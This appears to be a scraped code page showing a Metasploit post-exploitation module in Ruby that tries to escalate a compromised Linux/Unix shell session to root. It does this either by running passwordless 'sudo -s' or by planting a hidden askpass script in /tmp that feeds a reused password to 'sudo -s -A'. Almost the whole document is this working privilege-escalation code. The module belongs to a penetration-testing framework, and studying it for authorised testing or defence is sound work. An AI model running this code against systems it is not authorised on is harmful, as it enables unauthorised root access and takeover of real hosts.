Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Linux::Priv
9
  include Msf::Post::Linux::System
10
  include Msf::Exploit::FileDropper
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
17
        'Description' => %q{
18
          This module attempts to upgrade a shell account to UID 0 by reusing the
19
          given password and passing it to sudo. This technique relies on sudo
20
          versions from 2008 and later which support -A.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'todb <todb[at]metasploit.com>',
25
          'Ryan Baxendale <rbaxendale[at]gmail.com>' # added password option
26
        ],
27
        'Platform' => %w[aix linux osx solaris unix],
28
        'References' => [
29
          # Askpass first added March 2, 2008, looks like
30
          [ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
31
        ],
32
        'SessionTypes' => [ 'shell' ]
33
      )
34
    ) # Need to test 'meterpreter'
35

36
    register_options(
37
      [
38
        OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
39
      ]
40
    )
41
  end
42

43
  # Run Method for when run command is issued
44
  def run
45
    if session.type == 'meterpreter'
46
      fail_with(Failure::BadConfig, 'Meterpreter sessions cannot be elevated with sudo')
47
    end
48

49
    print_status('SUDO: Attempting to upgrade to UID 0 via sudo')
50
    sudo_bin = cmd_exec('which sudo')
51
    if is_root?
52
      print_status 'Already root, so no need to upgrade permissions. Aborting.'
53
      return
54
    end
55
    if sudo_bin.empty?
56
      print_error 'No sudo binary available. Aborting.'
57
      return
58
    end
59
    get_root
60
  end
61

62
  def get_root
63
    password = datastore['PASSWORD'] || session.exploit_datastore['PASSWORD']
64

65
    if password.to_s.empty?
66
      print_status 'No password available, trying a passwordless sudo.'
67
    else
68
      print_status "Sudoing with password `#{password}'."
69
    end
70
    askpass_sudo(password)
71
    if is_root?
72
      print_good 'SUDO: Root shell secured.'
73
      report_note(
74
        host: session,
75
        type: 'host.escalation',
76
        data: "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
77
      )
78
    else
79
      print_error "SUDO: Didn't work out, still a mere user."
80
    end
81
  end
82

83
  # TODO: test on more platforms
84
  def askpass_sudo(password)
85
    if password.to_s.empty?
86
      begin
87
        ::Timeout.timeout(30) do
88
          cmd_exec('sudo -s')
89
        end
90
      rescue ::Timeout::Error
91
        print_error 'SUDO: Passwordless sudo timed out. Might be blocking.'
92
      rescue StandardError
93
        print_error 'SUDO: Passwordless sudo failed. Check the session log.'
94
      end
95
    else
96
      askpass_sh = '/tmp/.' + Rex::Text.rand_text_alpha(7)
97
      begin
98
        # Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
99
        # Generally will be much snappier over ssh.
100
        # Need to timeout in case there's a blocking prompt after all
101
        ::Timeout.timeout(120) do
102
          # Create the shell script that will pass the password to sudo
103
          vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
104
          write_file(askpass_sh, "#!/bin/sh\necho '#{password}'\n")
105
          register_file_for_cleanup(askpass_sh)
106
          vprint_status 'Setting executable bit.'
107
          cmd_exec("chmod +x #{askpass_sh}")
108
          vprint_status 'Setting environment variable.'
109

110
          # Bruteforce the set command. At least one should work.
111
          cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
112
          cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
113
          vprint_status 'Executing sudo -s -A'
114
          cmd_exec('sudo -s -A')
115
        end
116
      rescue ::Timeout::Error
117
        print_error 'SUDO: Sudo with a password timed out.'
118
      rescue StandardError
119
        print_error 'SUDO: Sudo with a password failed. Check the session log.'
120
      end
121
    end
122
  end
123
end
124

125